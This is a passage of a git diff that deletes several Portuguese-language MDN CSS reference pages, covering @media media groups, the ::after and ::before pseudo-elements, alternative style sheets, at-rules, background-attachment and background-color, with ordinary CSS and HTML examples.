- <p>Pretendido para sintetizadores de fala. Nota: CSS2 tem um tipo de mídia similar chamado 'aural' para esta proposta. Veja o apêndice em folhas de estilo aural para detalhes.</p>
- </dd>
-</dl>
-
-<h3 id="Grupos_de_m.C3.ADdia" name="Grupos_de_m.C3.ADdia">Grupos de Média</h3>
-
-<div class="blockIndicator note">
-<p><strong>Nota: </strong>Esta secção aplica-se a CSS 2.1. Há vários tipos de média, introduzidos nas especificações do CSS2.1 e <a href="https://drafts.csswg.org/mediaqueries-3/#background" rel="noopener">Media Queries 3</a>, que foram descontinuados, como <code>tty</code>, <code>tv</code>, <code>projection</code>, <code>handheld</code>, <code>braille</code>, <code>embossed</code>, and <code>aural</code>. O tipo <code>aural</code> foi substituído pelo <code>speech</code>, que é semelhante.</p>
-</div>
-
-<p>Tipos de média são também parte de diferentes grupos de média. A seguinte tabela indica que tipos estão em cada grupo.</p>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <td></td>
- <td class="header" colspan="10" style="text-align: center;">Grupos</td>
- </tr>
- <tr>
- <td class="header">Tipos</td>
- <td class="header">continuous</td>
- <td class="header">paged</td>
- <td class="header">visual</td>
- <td class="header">audio</td>
- <td class="header">speech</td>
- <td class="header">tactile</td>
- <td class="header">grid</td>
- <td class="header">bitmap</td>
- <td class="header">interactive</td>
- <td class="header">static</td>
- </tr>
- <tr>
- <td class="header">braille</td>
- <td>X</td>
- <td></td>
- <td></td>
- <td></td>
- <td></td>
- <td>X</td>
- <td>X</td>
- <td></td>
- <td>X</td>
- <td>X</td>
- </tr>
- <tr>
- <td class="header">embossed</td>
- <td></td>
- <td>X</td>
- <td></td>
- <td></td>
- <td></td>
- <td>X</td>
- <td>X</td>
- <td></td>
- <td></td>
- <td>X</td>
- </tr>
- <tr>
- <td class="header">handheld</td>
- <td>X</td>
- <td>X</td>
- <td>X</td>
- <td>X</td>
- <td>X</td>
- <td></td>
- <td>X</td>
- <td>X</td>
- <td>X</td>
- <td>X</td>
- </tr>
- <tr>
- <td class="header">print</td>
- <td></td>
- <td>X</td>
- <td>X</td>
- <td></td>
- <td></td>
- <td></td>
- <td></td>
- <td>X</td>
- <td></td>
- <td>X</td>
- </tr>
- <tr>
- <td class="header">projection</td>
- <td></td>
- <td>X</td>
- <td>X</td>
- <td></td>
- <td></td>
- <td></td>
- <td></td>
- <td>X</td>
- <td>X</td>
- <td></td>
- </tr>
- <tr>
- <td class="header">screen</td>
- <td>X</td>
- <td></td>
- <td>X</td>
- <td>X</td>
- <td></td>
- <td></td>
- <td></td>
- <td>X</td>
- <td>X</td>
- <td>X</td>
- </tr>
- <tr>
- <td class="header">aural</td>
- <td>X</td>
- <td></td>
- <td></td>
- <td></td>
- <td>X</td>
- <td></td>
- <td></td>
- <td></td>
- <td>X</td>
- <td>X</td>
- </tr>
- <tr>
- <td class="header">tty</td>
- <td>X</td>
- <td></td>
- <td>X</td>
- <td></td>
- <td></td>
- <td></td>
- <td>X</td>
- <td></td>
- <td>X</td>
- <td>X</td>
- </tr>
- <tr>
- <td class="header">tv</td>
- <td>X</td>
- <td>X</td>
- <td>X</td>
- <td>X</td>
- <td></td>
- <td></td>
- <td></td>
- <td>X</td>
- <td>X</td>
- <td>X</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Exemplos" name="Exemplos">Exemplos</h2>
-
-<pre> @media print {
- body { font-size: 10pt }
- }
- @media screen {
- body { font-size: 13px }
- }
- @media screen, print {
- body { line-height: 1.2 }
- }
-</pre>
-
-<h2 id="Notas" name="Notas">Questões de acessibilidade</h2>
-
-<p>Para comodidade das pessoas que ampliam o tamanho do texto, deve-se utilizar medidas em <code>em</code> na definição de {{cssxref("&lt;length&gt;")}}. Esta medida funciona melhor do que <code>px</code> quando o utilizar muda o tamanho do texto no navegador.</p>
-
-<p>Considere usar consulta de média Level 4 (Nível 4) para melhorar experiência de utilização. Por exemplo, <code>prefers-reduced-motion</code> para detetar se o utilizador<a href="https://developer.mozilla.org/en-US/docs/Web/CSS/@media/prefers-reduced-motion"> pediu ao sistema para minimizar a quantidade de animaçõe ou movimentos</a>.</p>
-
-<h2 id="Especifica.C3.A7.C3.B5es" name="Especifica.C3.A7.C3.B5es">Especificações</h2>
-
-<table>
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{SpecName('CSS5 Media Queries', '#at-media5', '@media')}}</td>
- <td>{{Spec2('CSS5 Media Queries')}}</td>
- <td>Reinstituída consultas de média <code>light-level</code>, <code>inverted-colors</code> e consultas média personalizadas, as quais foram removidas do Level 4 (Nível 4).<br>
- Adicionados recursos de média <code>prefers-reduced-motion</code>, <code>prefers-reduced-transparency</code>, <code>prefers-contrast</code>, e <code>prefers-color-scheme</code>.</td>
- </tr>
- <tr>
- <td>{{SpecName('CSS3 Conditional', '#at-media', '@media')}}</td>
- <td>{{Spec2('CSS3 Conditional')}}</td>
- <td>Definida sintaxe básica da regra <code>@media</code>.</td>
- </tr>
- <tr>
- <td>{{SpecName('CSS4 Media Queries', '#media', '@media')}}</td>
- <td>{{Spec2('CSS4 Media Queries')}}</td>
- <td>
- <p>Adicionados recursos média <code>scripting</code>, <code>pointer</code>, <code>hover</code>, <code>update</code>, <code>overflow-block</code>, e <code>overflow-inline</code>.<br>
- Descontinuação de todos os tipos de média excepto <code>screen</code>, <code>print</code>, <code>speech</code>, e <code>all</code>.<br>
- Tornou a sintaxe mais flexível com adição, entre outras coisas, da palavra-chave <code>or</code>.</p>
- </td>
- </tr>
- <tr>
- <td>{{SpecName('CSS3 Media Queries', '#media0', '@media')}}</td>
- <td>{{Spec2('CSS3 Media Queries')}}</td>
- <td>Sem alterações.</td>
- </tr>
- <tr>
- <td>{{SpecName('CSS2.1', 'media.html#at-media-rule', '@media')}}</td>
- <td>{{Spec2('CSS2.1')}}</td>
- <td>Definição inicial.</td>
- </tr>
- </tbody>
-</table>
-
-<p><span class="comment">== Compatibilidade com navegadores ==</span></p>
-
-<h3 id="Veja_tamb.C3.A9m" name="Veja_tamb.C3.A9m">Consulte também</h3>
-
-<ul>
- <li><a class="internal" href="/pt-PT/docs/Web/CSS/Consulta_de_mídia" title="En/CSS/Media queries">Consultas de média</a></li>
- <li>Em JavaScript, {{ domxref("CSSMediaRule") }} está associado a esta regra-at.</li>
- <li><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Mozilla_Extensions#Media_features">Recursos de média em extensões da Mozilla</a></li>
- <li><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Webkit_Extensions#Media_features">Recursos de média em extensões WebKit</a></li>
-</ul>
-
-<p>{{ languages( { "en": "en/CSS/@media", "fr": "fr/CSS/@media", "pl": "pl/CSS/@media" } ) }}</p>
diff --git a/files/pt-pt/web/css/_doublecolon_after/index.html b/files/pt-pt/web/css/_doublecolon_after/index.html
deleted file mode 100644
index 26675ab646..0000000000
--- a/files/pt-pt/web/css/_doublecolon_after/index.html
+++ /dev/null
@@ -1,35 +0,0 @@
----
-title: ':after | ::after'
-slug: Web/CSS/::after
-tags:
- - Referencia_CSS
-translation_of: Web/CSS/::after
-original_slug: Web/CSS/:after
----
-<p>{{ CSSRef() }}</p>
-<h3 id="Resumo" name="Resumo">Resumo</h3>
-<p><code>:after </code>cria um pseudo-elemento que é a última criança do elemento selecionado. Tipicamente usado para adicionar conteúdo cosmético a um elemento, pelo uso da propriedade CSS {{ cssxref("content") }}. Este elemento é <code>inline</code> por padrão.</p>
-<p>{{ fx_minversion_note("3.5", "A versão do Firefox anterior à 3.5 somente tinha implementada a propriedade <code>:after</code> do CSS 2.0. Não foram permitidas <code>position, float, list-style-*</code> e algumas propriedades de exibição. O Firefox 3.5 removeu estas restrições. Note que isto independe da notação com :: mencionada anteriormente.") }}</p>
-<h3 id="Sintaxe">Sintaxe</h3>
-<pre>element:after { propriedades do estilo } /* sintaxe CSS2 */
-
-element::after { <em>propriedades do estilo</em> } /* sintaxe CSS3, não suportada pelo IE8 */</pre>
-<p>A notação<code> ::after </code>foi introduzida no CSS3 com o objetivo de estabelecer uma diferença entre pseudo-classes e pseudo-elementos. Navegadores também aceitam a notação<code> :after </code>introduzida no CSS 2.</p>
-<div class="note"><strong>Nota:</strong>  O Microsoft Internet Explorer 8 suporta somente a notação <code>:after</code>.</div>
-<h3 id="Exemplos" name="Exemplos">Exemplos</h3>
-<pre>.boringtext:after {
- content: " Obrigado por ler tudo isto!";
- font-size: small;
- color: red;
- background: gray;
-}
-</pre>
-<h3 id="Especifica.C3.A7.C3.B5es" name="Especifica.C3.A7.C3.B5es">Especificações</h3>
-<ul> <li><a class="external" href="http://www.w3.org/TR/CSS21/generate.html" title="http://www.w3.org/TR/CSS21/generate.html">CSS 2.1 Generated Content</a> (EN)</li> <li><a class="external" href="http://www.w3.org/TR/CSS21/selector.html#before-and-after" title="http://www.w3.org/TR/CSS21/selector.html#before-and-after">CSS 2.1 Selectors</a> (EN)</li> <li><a class="external" href="http://www.w3.org/TR/css3-selectors/#gen-content" rel="external nofollow" title="http://www.w3.org/TR/css3-selectors/#gen-content">CSS 3 Selectors</a> (EN) Rascunho em produção</li>
-</ul>
-<h3 id="Compatibilidade_com_navegadores" name="Compatibilidade_com_navegadores">Compatibilidade com navegadores</h3>
-<table class="standard-table"> <tbody> <tr> <th>Navegador</th> <th>Versão mais antiga</th> <th>Suporte a</th> </tr> <tr> <td>Internet Explorer</td> <td>8.0</td> <td><code>:after</code></td> </tr> <tr> <td rowspan="2">Firefox (Gecko)</td> <td>1.0 (1.0)</td> <td><code>:after</code></td> </tr> <tr> <td>1.0 (1.5)</td> <td><code>:after | ::after</code></td> </tr> <tr> <td rowspan="2">Opera</td> <td>4.0</td> <td><code>:after</code></td> </tr> <tr> <td>7.0</td> <td><code>:after | ::after</code></td> </tr> <tr> <td>Safari (WebKit)</td> <td>1.0 (85)</td> <td><code>:after | ::after</code></td> </tr> </tbody>
-</table>
-<h3 id="Veja_também">Veja também</h3>
-<p>{{ Cssxref(":before") }}, {{ cssxref("content") }}</p>
-<p>{{ languages( { "fr": "fr/CSS/:after", "pl": "pl/CSS/:after", "es": "es/CSS/after", "pt": "pt/CSS/:after" } ) }}</p>
diff --git a/files/pt-pt/web/css/_doublecolon_before/index.html b/files/pt-pt/web/css/_doublecolon_before/index.html
deleted file mode 100644
index 78a034d54c..0000000000
--- a/files/pt-pt/web/css/_doublecolon_before/index.html
+++ /dev/null
@@ -1,64 +0,0 @@
----
-title: ':before | ::before'
-slug: Web/CSS/::before
-tags:
- - Referencia_CSS
-translation_of: Web/CSS/::before
-original_slug: Web/CSS/:before
----
-<p>{{ CSSRef() }}</p>
-<h3 id="Resumo" name="Resumo">Resumo</h3>
-<p>:before cria um pseudo-elemento que é a primeira criança do elemento selecionado. Tipicamente usado para adicionar conteúdo cosmético a um elemento. Este elemento é <code>inline</code> por padrão.</p>
-<p>{{ fx_minversion_note("3.5", "A versão do Firefox anterior à 3.5 somente tinha implementada a propriedade <code>:before</code> do CSS 2.0. Não foram permitidas <code>position, float, list-style-*</code> e algumas propriedades de exibição. O Firefox 3.5 removeu estas restrições. Note que isto independe da notação com :: mencionada anteriormente.") }}</p>
-<h3 id="Sintaxe">Sintaxe</h3>
-<pre>element:before { propriedades do estilo } /* sintaxe CSS2 */
-
-element::before { <em>propriedades do estilo</em> } /* sintaxe CSS3, não suportada pelo IE8 */</pre>
-<p>A notação<code> ::before </code>foi introduzida no CSS3 com o objetivo de estabelecer uma diferença entre pseudo-classes e pseudo-elementos. Navegadores também aceitam a notação<code> :before </code>introduzida no CSS 2.</p>
-<div class="note"><strong>Nota:</strong>  O Microsoft Internet Explorer 8 suporta somente a notação <code>:<span style="font-family: Verdana,Tahoma,sans-serif;">before</span></code>.</div>
-<h3 id="Exemplos" name="Exemplos">Exemplos</h3>
-<pre>q:before { content: "»" }
-q:after { content: '«' }
-
-&lt;q&gt;Algumas citações&lt;/q&gt;, ele disse, &lt;q&gt;são melhores que nenhuma&lt;/q&gt;.</pre>
-<p>Resultado:    »Algumas citações«, ele disse, »são melhores que nenhuma«.</p>
-<h3 id="Notas">Notas</h3>
-<p>Apesar das correções de posicionamento, o Firefox 3.5 não permite que o conteúdo seja gerado como um irmão anteriormente separado (como a declaração das <a class="external" href="http://www.w3.org/TR/CSS21/generate.html#before-after-content">CSS spec</a>(EN) "Os pseudo-elementos &lt;code&gt;:before&lt;/code&gt; e &lt;code&gt;:after&lt;/code&gt; interagem com outras caixas...como se fossem elementos reais inseridos dentro de seu elemento associado."), eles podem ser usados para proporcionar uma ligeira melhora nos arranjos sem tabelas (isto é, para alcançar o centro), tão longo como o conteúdo a ser centralizado é envolto em outro elemento criança, uma coluna antes e depois do conteúdo pode ser introduzida sem a adição de um irmão anterior ou posterior (por exemplo, talvez seja mais semanticamente correto adicionar um span a mais como anteriormente, que seria para adicionar um &lt;code&gt;&lt;div/&gt;&lt;/code&gt; vazio antes e depois). (E sempre lembrar de adicionar uma largura para um flututante, uma vez que de outra forma ele não flutuará!)</p>
-<pre class="brush: html">&lt;style type="text/css"&gt;
-
-#floatme {float:left; width:50%;}
-
-.example:before {
- content: "Floated Before"; /* To get an empty column, just indicate a hex code for a non-breaking space: \a0 as the content (use \0000a0 when following such a space with other characters) */
- float: left;
- width:25%
-}
-.example:after {
- content: "Floated After";
- float: right;
- width:25%
-}
-
-/* For styling */
-.example:before, .example:after, .first {
- background: yellow;
- color: red;
-}
-
-
-&lt;/style&gt;
-&lt;div class="example"&gt;
-&lt;span id="floatme"&gt;"Floated Before" should be generated on the left of the
-viewport and not allow overflow in this line to flow under it. Likewise
-should "Floated After" appear on the right of the viewport and not allow this
-line to flow under it.&lt;/span&gt;
-&lt;/div&gt;</pre>
-<h3 id="Especifica.C3.A7.C3.B5es" name="Especifica.C3.A7.C3.B5es">Especificações</h3>
-<ul> <li><a class="external" href="http://www.w3.org/TR/CSS21/generate.html" title="http://www.w3.org/TR/CSS21/generate.html">CSS 2.1 Generated Content</a> (EN)</li> <li><a class="external" href="http://www.w3.org/TR/CSS21/selector.html#before-and-after" title="http://www.w3.org/TR/CSS21/selector.html#before-and-after">CSS 2.1 Selectors</a> (EN)</li> <li><a class="external" href="http://www.w3.org/TR/css3-selectors/#gen-content" rel="external nofollow" title="http://www.w3.org/TR/css3-selectors/#gen-content">CSS 3 Selectors</a> (EN) Rascunho em produção</li>
-</ul>
-<h3 id="Browser_compatibility" name="Browser_compatibility">Compatibilidade com navegadores</h3>
-<table class="standard-table"> <tbody> <tr> <th>Navegador</th> <th>Versão mais antiga</th> <th>Suporte a</th> </tr> <tr> <td>Internet Explorer</td> <td>8.0<code> <br> </code></td> <td><code>:before</code></td> </tr> <tr> <td rowspan="2">Firefox (Gecko)</td> <td>1.0 (1.0)</td> <td><code>:before<br> </code></td> </tr> <tr> <td><strong>1.0</strong> (1.5)</td> <td><code>:before | ::before</code></td> </tr> <tr> <td>Safari (WebKit)</td> <td><strong>1.0</strong> (85)</td> <td><code><span style="font-family: Verdana,Tahoma,sans-serif;"><span style="font-family: monospace;">:</span></span>before | ::before</code></td> </tr> <tr> <td rowspan="2">Opera</td> <td>4.0</td> <td><code>:before<br> </code></td> </tr> <tr> <td><strong>7.0</strong></td> <td><code>:before | ::before</code></td> </tr> </tbody>
-</table>
-<h3 id="Examples" name="Examples">Veja também</h3>
-<p>{{ Cssxref(":after") }}</p>
-<p>{{ languages( { "en": "en/CSS/:before", "fr": "fr/CSS/:before", "pl": "pl/CSS/:before", "es": "es/CSS/before" } ) }}</p>
diff --git a/files/pt-pt/web/css/alternative_style_sheets/index.html b/files/pt-pt/web/css/alternative_style_sheets/index.html
deleted file mode 100644
index 9cf87539f9..0000000000
--- a/files/pt-pt/web/css/alternative_style_sheets/index.html
+++ /dev/null
@@ -1,24 +0,0 @@
----
-title: Folhas de estilo alternativas
-slug: Web/CSS/Alternative_style_sheets
-translation_of: Web/CSS/Alternative_style_sheets
-original_slug: Web/CSS/Folhas_de_estilo_alternativas
----
-<p>O Firefox oferece suporte a folhas de estilo alternativa. AS páginas que disponibilizam folhas de estilo alternativas permitem que o usuário selecione o estilo que a página será mostrada usando o submenu Exibir&gt;Estilos da página. Fornecendo uma maneira de visualizar várias versões de uma mesma página, com base em suas necessidades e preferências.</p>
-<p>Um site pode usar a tag link para adicionar as folhas de estilo alternativa.</p>
-<p>Por exemplo:</p>
-<pre class="eval">&lt;link href="padrao.css" rel="stylesheet" type="text/css" title="Estilo padrao"&gt;
-&lt;link href="estilo1.css" rel="alternate stylesheet" type="text/css" title="Estilo 1"&gt;
-&lt;link href="estilo2.css" rel="alternate stylesheet" type="text/css" title="Estilo 2"&gt;
-</pre>
-<p>Oferecendo essas três folhas de estilo, disponibilizaremos ao usuário as opções "Estilo Padrão", "Estilo 1" e "Estilo 2" no submenu. Quando o usuário selecionar um dos estilos, a página imediatamente será recarregada usando o estilo selecionado.</p>
-<p>O valor do atributo title na tag link nomeia cada opção de estilo. Quando o valor deste atributo é repetido, entende-se como parte da mesma opção. Caso a tag link não possua o atributo title, a folha correspondente será sempre aplicada.</p>
-<p>Use rel="stylesheet" para aplicar as folhas correspondente ao estilo padrão, e rel="alternate stylesheet" para aplicar as folhas correspondente aos estilos alternativos. Isso permite que o Firefox diferencie as folhas de estilo padrão das alternativas e permite que os navegadores que não suportam folhas de estilo alternativa apliquem somente as folhas do estilo padrão.</p>
-<p> </p>
-<h3 id="Exemplo" name="Exemplo">Exemplo</h3>
-<p><a class="external" href="http://developer.mozilla.org/samples/cssref/altstyles/index.html">Clique aqui</a> para ver um exemplo.</p>
-<p> </p>
-<h3 id="Especifica.C3.A7.C3.A3o" name="Especifica.C3.A7.C3.A3o">Especificação</h3>
-<ul>
- <li><a class="external" href="http://www.w3.org/TR/html401/present/styles.html#h-14.3">HTML 4.01: Folhas de Estilo Externa</a></li>
-</ul>
diff --git a/files/pt-pt/web/css/at-rule/index.html b/files/pt-pt/web/css/at-rule/index.html
deleted file mode 100644
index bbf7651358..0000000000
--- a/files/pt-pt/web/css/at-rule/index.html
+++ /dev/null
@@ -1,83 +0,0 @@
----
-title: Regra "At"
-slug: Web/CSS/At-rule
-tags:
- - AT
- - CSS
- - Referencia
- - Regra
-translation_of: Web/CSS/At-rule
----
-<div>{{cssref}}</div>
-
-<p><span class="seoSummary">Uma <strong>regra "at"</strong> is a <a href="/en-US/docs/Web/CSS/Syntax#CSS_statements">CSS statement</a> beginning with an at sign, '<code>@</code>' (<code>U+0040 COMMERCIAL AT</code>), followed by an identifier and includes everything up to the next semi-colon, '<code>;</code>' (<code>U+003B SEMICOLON</code>), or the next <a href="/en-US/docs/Web/CSS/Syntax#CSS_declarations_blocks">CSS block</a>, whichever comes first.</span></p>
-
-<pre class="brush: css">/* General structure */
-@IDENTIFIER (RULE);
-
-/* Example: tells browser to use UTF-8 character set */
-@charset "utf-8";</pre>
-
-<p>There are several at-rules, designated by their identifiers, each with a different syntax:</p>
-
-<ul>
- <li>{{cssxref("@charset")}} — Defines the character set used by the style sheet.</li>
- <li>{{cssxref("@import")}} — Tells the CSS engine to include an external style sheet.</li>
- <li>{{cssxref("@namespace")}} — Tells the CSS engine that all its content must be considered prefixed with an XML namespace.</li>
- <li><strong><em>at-rules integradas</em></strong> — A subset of nested statements, which can be used as a statement of a style sheet as well as inside of conditional group rules:
- <ul>
- <li>{{cssxref("@media")}} — A conditional group rule which will apply its content if the device meets the criteria of the condition defined using a <em>media query</em>.</li>
- <li>{{cssxref("@supports")}} {{experimental_inline}} — A conditional group rule which will apply its content if the browser meets the criteria of the given condition.</li>
- <li>{{cssxref("@document")}} {{experimental_inline}} — A conditional group rule which will apply its content if the document in which the style sheet is applied meets the criteria of the given condition. <em>(deferred to Level 4 of CSS Spec)</em></li>
- <li>{{cssxref("@page")}} — Describes the aspect of layout changes which will be applied when printing the document.</li>
- <li>{{cssxref("@font-face")}} — Describes the aspect of an external font to be downloaded.</li>
- <li>{{cssxref("@keyframes")}} {{experimental_inline}} — Describes the aspect of intermediate steps in a CSS animation sequence.</li>
- <li>{{cssxref("@viewport")}} {{experimental_inline}} — Describes the aspects of the viewport for small screen devices. <em>(currently at the Working Draft stage)</em></li>
- <li>{{cssxref("@counter-style")}} — Defines specific counter styles that are not part of the predefined set of styles. <em>(at the Candidate Recommendation stage, but only implemented in Gecko as of writing)</em></li>
- <li>{{cssxref("@font-feature-values")}} (plus <code>@swash</code>, <code>@ornaments</code>, <code>@annotation</code>, <code>@stylistic</code>, <code>@styleset</code> and <code>@character-variant</code>)<br>
- — Define common names in {{cssxref("font-variant-alternates")}} for feature activated differently in OpenType. <em>(at the Candidate Recommendation stage, but only implemented in Gekko as of writing)</em></li>
- </ul>
- </li>
-</ul>
-
-<h2 id="Regras_de_grupo_condicionais">Regras de grupo condicionais</h2>
-
-<p>Much like the values of properties, each at-rule has a different syntax. Nevertheless, several of them can be grouped into a special category named <strong>conditional group rules</strong>. These statements share a common syntax and each of them can include <em>nested statements</em>—either <em>rulesets</em> or <em>nested at-rules</em>. Furthermore, they all convey a common semantic meaning—they all link some type of condition, which at any time evaluates to either <strong>true</strong> or <strong>false</strong>. If the condition evaluates to <strong>true</strong>, then all of the statements within the group will be applied.</p>
-
-<p>Conditional group rules are defined in <a href="http://dev.w3.org/csswg/css3-conditional/">CSS Conditionals Level 3</a> and are:</p>
-
-<ul>
- <li>{{cssxref("@media")}},</li>
- <li>{{cssxref("@supports")}},</li>
- <li>{{cssxref("@document")}}. <em>(deferred to Level 4 of CSS Spec) </em></li>
-</ul>
-
-<p>Since each conditional group may also contain nested statements, there may be an unspecified amount of nesting.</p>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- <tr>
- <td>{{SpecName('CSS3 Conditional')}}</td>
- <td>{{Spec2('CSS3 Conditional')}}</td>
- <td>Initial definition</td>
- </tr>
- <tr>
- <td>{{SpecName('Compat', '#css-at-rules', 'CSS At-rules')}}</td>
- <td>{{Spec2('Compat')}}</td>
- <td>Standardizes <code>@-webkit-keyframes</code>.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Consultar_também">Consultar também:</h2>
-
-<ul>
- <li>{{CSS_key_concepts}}</li>
-</ul>
diff --git a/files/pt-pt/web/css/background-attachment/index.html b/files/pt-pt/web/css/background-attachment/index.html
deleted file mode 100644
index ca851ae58c..0000000000
--- a/files/pt-pt/web/css/background-attachment/index.html
+++ /dev/null
@@ -1,140 +0,0 @@
----
-title: background-attachment
-slug: Web/CSS/background-attachment
-tags:
- - Referencia_CSS
-translation_of: Web/CSS/background-attachment
----
-<p>{{ CSSRef() }}</p>
-
-<h3 id="Resumo" name="Resumo">Resumo</h3>
-
-<p>Se um {{ Cssxref("background-image") }} é especificado, <code>background-attachment</code> determina se a posição da imagem é fixa na tela, ou rola junto com o bloco que a contém.</p>
-
-<ul>
- <li>Valor inicial: scroll</li>
- <li>Aplica-se a: todos os elementos</li>
- <li>Herdado: não</li>
- <li>Porcentagens: N/A</li>
- <li>Mídia: <a href="pt/CSS/Media/Visual">visual</a></li>
- <li>Valor computado: como especificado</li>
-</ul>
-
-<h3 id="Sintaxe" name="Sintaxe">Sintaxe</h3>
-
-<pre class="eval">background-attachment: scroll | fixed | inherit
-</pre>
-
-<h3 id="Valores" name="Valores">Valores</h3>
-
-<dl>
- <dt>scroll </dt>
- <dd>Se <code>scroll</code> é especificado, a imagem de fundo irá rolar na tela com o bloco de imagem que a contém.</dd>
- <dt>fixed </dt>
- <dd>Se <code>fixed</code> é especificado, a imagem de fundo não rolará com o elemento que a contém, em vez disso, continua estacionária no mesmo lugar da tela.</dd>
-</dl>
-<h2 id="Exemplos">Exemplos</h2>
-
-<h3 id="Simple_example">Simple example</h3>
-
-<h4 id="CSS">CSS</h4>
-
-<pre class="brush:css; highlight:[3];">p {
- background-image: url("https://mdn.mozillademos.org/files/12057/starsolid.gif");
- background-attachment: fixed;
-}
-</pre>
-
-<h4 id="HTML">HTML</h4>
-
-<pre class="brush: html">&lt;p&gt;
- There were doors all round the hall, but they were all locked; and when
- Alice had been all the way down one side and up the other, trying every
- door, she walked sadly down the middle, wondering how she was ever to
- get out again.
-&lt;/p&gt;</pre>
-
-<h4 id="Result">Result</h4>
-
-<p>{{EmbedLiveSample("Simple_example")}}</p>
-
-<h3 id="Multiple_background_image_support">Multiple background image support</h3>
-
-<p>This property supports multiple background images. You can specify a different <code>&lt;attachment&gt;</code> for each background, separated by commas. Each image is matched with the corresponding attachment type, from first specified to last.</p>
-
-<h4 id="CSS_2">CSS</h4>
-
-<pre class="brush:css; highlight:[3];">p {
- background-image: url("https://mdn.mozillademos.org/files/12057/starsolid.gif"), url("https://mdn.mozillademos.org/files/12059/startransparent.gif");
- background-attachment: fixed, scroll;
- background-repeat: no-repeat, repeat-y;
-}</pre>
-
-<h4 id="HTML_2">HTML</h4>
-
-<pre class="brush: html">&lt;p&gt;
- There were doors all round the hall, but they were all locked; and when
- Alice had been all the way down one side and up the other, trying every
- door, she walked sadly down the middle, wondering how she was ever to
- get out again.
-
- Suddenly she came upon a little three-legged table, all made of solid
- glass; there was nothing on it except a tiny golden key, and Alice's
- first thought was that it might belong to one of the doors of the hall;
- but, alas! either the locks were too large, or the key was too small,
- but at any rate it would not open any of them. However, on the second
- time round, she came upon a low curtain she had not noticed before, and
- behind it was a little door about fifteen inches high: she tried the
- little golden key in the lock, and to her great delight it fitted!
-&lt;/p&gt;</pre>
-
-<h4 id="Result_2">Result</h4>
-
-<p>{{EmbedLiveSample("Multiple_background_image_support")}}</p>
-
-<h3 id="Especifica.C3.A7.C3.B5es" name="Especifica.C3.A7.C3.B5es">Especificações</h3>
-
-<ul>
- <li><a class="external" href="http://www.w3.org/TR/CSS1#background-attachment">CSS 1</a></li>
- <li><a class="external" href="http://www.w3.org/TR/CSS21/colors.html#propdef-background-attachment">CSS 2.1</a></li>
- <li><a class="external" href="http://www.w3.org/TR/2005/WD-css3-background-20050216/#background-attachment">CSS 3</a></li>
-</ul>
-
-<h3 id="Compatibilidade_com_navegadores" name="Compatibilidade_com_navegadores">Compatibilidade com navegadores</h3>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th>Navegador</th>
- <th>Versão mais antiga</th>
- </tr>
- <tr>
- <td>Internet Explorer</td>
- <td>4</td>
- </tr>
- <tr>
- <td>Firefox</td>
- <td>1</td>
- </tr>
- <tr>
- <td>Netscape</td>
- <td>6</td>
- </tr>
- <tr>
- <td>Opera</td>
- <td>3.5</td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Veja_tamb.C3.A9m" name="Veja_tamb.C3.A9m">Veja também</h3>
-
-<p>{{ Cssxref("background") }}, {{ Cssxref("background-attachment") }}, {{ Cssxref("background-color") }}, {{ Cssxref("background-image") }}, {{ Cssxref("background-position") }}, {{ Cssxref("background-repeat") }}</p>
-
-<p><span class="comment">Categorias</span></p>
-
-<p><span class="comment">Interwiki Language Links</span></p>
-
-<p> </p>
-
-<p>{{ languages( { "en": "en/CSS/background-attachment", "fr": "fr/CSS/background-attachment", "pl": "pl/CSS/background-attachment" } ) }}</p>
diff --git a/files/pt-pt/web/css/background-color/index.html b/files/pt-pt/web/css/background-color/index.html
deleted file mode 100644
index 4d713de239..0000000000
--- a/files/pt-pt/web/css/background-color/index.html
+++ /dev/null
@@ -1,108 +0,0 @@
----
-title: background-color
-slug: Web/CSS/background-color
-tags:
- - Referencia_CSS
-translation_of: Web/CSS/background-color
----
-<p>{{CSSRef}}</p>
-
-<h2 id="Resumo" name="Resumo">Resumo</h2>
-
-<p><code>background-color</code> configura a cor de fundo de um elemento, com qualquer valor de cor ou a palavra-chave <code>transparent</code>.</p>
-
-<p>{{cssinfo}}</p>
-
-<h2 id="Sintaxe" name="Sintaxe">Sintaxe</h2>
-
-<pre class="eval">background-color: <em>color</em> | transparent | inherit
-</pre>
-
-<h3 id="Valores" name="Valores">Valores</h3>
-
-<dl>
- <dt>color </dt>
- <dd>A cor pode ser especificada com um valor RGB hexadecimal, um valor RGB regular ou usando umas das palavras-chave pré-definidas.</dd>
- <dt>transparent </dt>
- <dd>O valor padrão para <code>background-color</code> é <code>transparent</code>, o que significa que o elemento não tem cor própria, em vez disso ele exibe a cor do elemento de trás.</dd>
-</dl>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<h3 id="HTML">HTML</h3>
-
-<pre class="brush: html">&lt;div class="exampleone"&gt;
- Lorem ipsum dolor sit amet, consectetuer
-&lt;/div&gt;
-
-&lt;div class="exampletwo"&gt;
- Lorem ipsum dolor sit amet, consectetuer
-&lt;/div&gt;
-
-&lt;div class="examplethree"&gt;
- Lorem ipsum dolor sit amet, consectetuer
-&lt;/div&gt;</pre>
-
-<h3 id="CSS">CSS</h3>
-
-<pre class="brush: css; highlight:[2,7,12,17];">.exampleone {
- background-color: teal;
- color: white;
-}
-
-.exampletwo {
- background-color: rgb(153,102,153);
- color: rgb(255,255,204);
-}
-
-.examplethree {
- background-color: #777799;
- color: #FFFFFF;
-}
-</pre>
-
-<h3 id="Result">Result</h3>
-
-<p>{{EmbedLiveSample("Exemplos","200","150")}}</p>
-
-
-<h2 id="Especifica.C3.A7.C3.B5es" name="Especifica.C3.A7.C3.B5es">Especificações</h2>
-
-<ul>
- <li><a class="external" href="http://www.w3.org/TR/CSS1#background-color">CSS 1</a></li>
- <li><a class="external" href="http://www.w3.org/TR/CSS21/colors.html#propdef-background-color">CSS 2.1</a></li>
